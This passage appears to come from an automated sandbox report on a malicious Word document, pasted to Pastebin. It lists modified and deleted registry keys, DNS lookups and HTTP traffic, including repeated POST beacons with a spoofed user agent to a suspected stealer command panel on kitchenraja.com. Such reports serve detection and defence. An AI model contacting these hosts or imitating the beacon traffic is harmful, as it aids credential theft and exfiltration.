  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1994. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\ProductNonBootFilesIntl_1033",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1997. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1998. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1999. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position"
  2000.  
  2001.  
  2002. * Deleted Registry Keys:
  2003. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\pcv",
  2004. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\uyt",
  2005. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  2006. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  2007. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  2008. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  2009. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  2010. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  2011. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  2012. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  2013. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\CF6D88\\ECAEF5",
  2014. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\CF6D88\\CF6D88"
  2015.  
  2016.  
  2017. * DNS Communications:
  2018.  
  2019. "type": "A",
  2020. "request": "hirecarvietnam.com",
  2021. "answers":
  2022.  
  2023. "data": "163.44.207.86",
  2024. "type": "A"
  2025.  
  2026.  
  2027.  
  2028.  
  2029. "type": "A",
  2030. "request": "kitchenraja.com",
  2031. "answers":
  2032.  
  2033. "data": "162.245.217.163",
  2034. "type": "A"
  2035.  
  2036.  
  2037.  
  2038.  
  2039.  
  2040. * Domains:
  2041.  
  2042. "ip": "162.245.217.163",
  2043. "domain": "kitchenraja.com"
  2044.  
  2045.  
  2046. "ip": "163.44.207.86",
  2047. "domain": "hirecarvietnam.com"
  2048.  
  2049.  
  2050.  
  2051. * Network Communication - ICMP:
  2052.  
  2053. * Network Communication - HTTP:
  2054.  
  2055. "count": 1,
  2056. "body": "",
  2057. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2058. "user-agent": "Microsoft-CryptoAPI/6.1",
  2059. "method": "GET",
  2060. "host": "ocsp.digicert.com",
  2061. "version": "1.1",
  2062. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2063. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2064. "port": 80
  2065.  
  2066.  
  2067. "count": 1,
  2068. "body": "",
  2069. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2070. "user-agent": "Microsoft-CryptoAPI/6.1",
  2071. "method": "GET",
  2072. "host": "ocsp.msocsp.com",
  2073. "version": "1.1",
  2074. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2075. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2076. "port": 80
  2077.  
  2078.  
  2079. "count": 1,
  2080. "body": "",
  2081. "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  2082. "user-agent": "Microsoft-CryptoAPI/6.1",
  2083. "method": "GET",
  2084. "host": "ocsp.usertrust.com",
  2085. "version": "1.1",
  2086. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  2087. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
  2088. "port": 80
  2089.  
  2090.  
  2091. "count": 1,
  2092. "body": "",
  2093. "uri": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY",
  2094. "user-agent": "Microsoft-CryptoAPI/6.1",
  2095. "method": "GET",
  2096. "host": "ocsp.comodoca.com",
  2097. "version": "1.1",
  2098. "path": "/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY",
  2099. "data": "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
  2100. "port": 80
  2101.  
  2102.  
  2103. "count": 6,
  2104. "body": "",
  2105. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2106. "user-agent": "Microsoft-CryptoAPI/6.1",
  2107. "method": "GET",
  2108. "host": "crl.microsoft.com",
  2109. "version": "1.1",
  2110. "path": "/pki/crl/products/microsoftrootcert.crl",
  2111. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2112. "port": 80
  2113.  
  2114.  
  2115. "count": 8,
  2116. "body": "",
  2117. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2118. "user-agent": "Microsoft-CryptoAPI/6.1",
  2119. "method": "GET",
  2120. "host": "crl.microsoft.com",
  2121. "version": "1.1",
  2122. "path": "/pki/crl/products/microsoftrootcert.crl",
  2123. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 22 May 2019 05:00:43 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2124. "port": 80
  2125.  
  2126.  
  2127. "count": 3,
  2128. "body": "",
  2129. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2130. "user-agent": "Microsoft-CryptoAPI/6.1",
  2131. "method": "GET",
  2132. "host": "crl.microsoft.com",
  2133. "version": "1.1",
  2134. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2135. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2136. "port": 80
  2137.  
  2138.  
  2139. "count": 3,
  2140. "body": "",
  2141. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2142. "user-agent": "Microsoft-CryptoAPI/6.1",
  2143. "method": "GET",
  2144. "host": "crl.microsoft.com",
  2145. "version": "1.1",
  2146. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2147. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 16 Jul 2019 05:01:15 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2148. "port": 80
  2149.  
  2150.  
  2151. "count": 2,
  2152. "body": "",
  2153. "uri": "http://kitchenraja.com/loggers/Panel/five/fre.php",
  2154. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  2155. "method": "POST",
  2156. "host": "kitchenraja.com",
  2157. "version": "1.0",
  2158. "path": "/loggers/Panel/five/fre.php",
  2159. "data": "POST /loggers/Panel/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: kitchenraja.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 69F783D8\r\nContent-Length: 176\r\nConnection: close\r\n\r\n",
  2160. "port": 80
  2161.  
  2162.  
  2163. "count": 5,
  2164. "body": "",
  2165. "uri": "http://kitchenraja.com/loggers/Panel/five/fre.php",
  2166. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  2167. "method": "POST",
  2168. "host": "kitchenraja.com",
  2169. "version": "1.0",
  2170. "path": "/loggers/Panel/five/fre.php",
  2171. "data": "POST /loggers/Panel/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: kitchenraja.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 69F783D8\r\nContent-Length: 149\r\nConnection: close\r\n\r\n",
  2172. "port": 80
  2173.  
  2174.  
  2175.  
  2176. * Network Communication - SMTP:
  2177.  
  2178. * Network Communication - Hosts:
  2179.  
  2180. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!